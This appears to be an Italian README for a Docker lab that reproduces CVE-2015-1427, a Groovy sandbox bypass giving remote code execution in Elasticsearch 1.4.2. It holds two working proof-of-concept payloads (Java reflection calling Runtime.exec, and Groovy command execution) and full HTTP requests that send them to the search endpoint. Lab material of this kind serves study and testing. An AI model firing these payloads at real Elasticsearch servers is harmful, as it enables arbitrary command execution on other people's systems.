
Ambiente di laboratorio basato su Docker per il bypass del sandbox Groovy di ElasticSearch e l'esecuzione di codice remoto per CVE-2015-1427, che dimostra due metodi POC con riflessione Java ed esecuzione di comandi Groovy.
Versione JRE: openjdk:8-jre
Versione Elasticsearch: v1.4.2
Articoli di riferimento:
Dopo CVE-2014-3120, ElasticSearch ha cambiato il linguaggio di scripting dinamico predefinito in Groovy, aggiungendo una sandbox, ma di default supporta ancora l'esecuzione diretta di linguaggi dinamici. Questa vulnerabilità: 1. è un bypass della sandbox; 2. è una vulnerabilità di esecuzione di codice Groovy.
ElasticSearch supporta l'uso del linguaggio Groovy "in sandbox" come script dinamico, ma evidentemente il lavoro ufficiale non è stato ben fatto. lupin e tang3 hanno proposto rispettivamente due metodi per eseguire comandi:
Pertanto, in base a queste due idee di esecuzione della vulnerabilità, possiamo ottenere due diversi POC.
Metodo di bypass della sandbox Java:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Metodo di esecuzione diretta del comando Groovy:
def command='id';def res=command.execute().text;res
Compilare ed eseguire l'ambiente di test
docker-compose build
docker-compose up -d
Poiché per effettuare una query è necessario che ci sia almeno un dato in ES, inviare il seguente pacchetto dati per aggiungere un dato:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Quindi inviare un pacchetto dati contenente il payload per eseguire un comando arbitrario:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
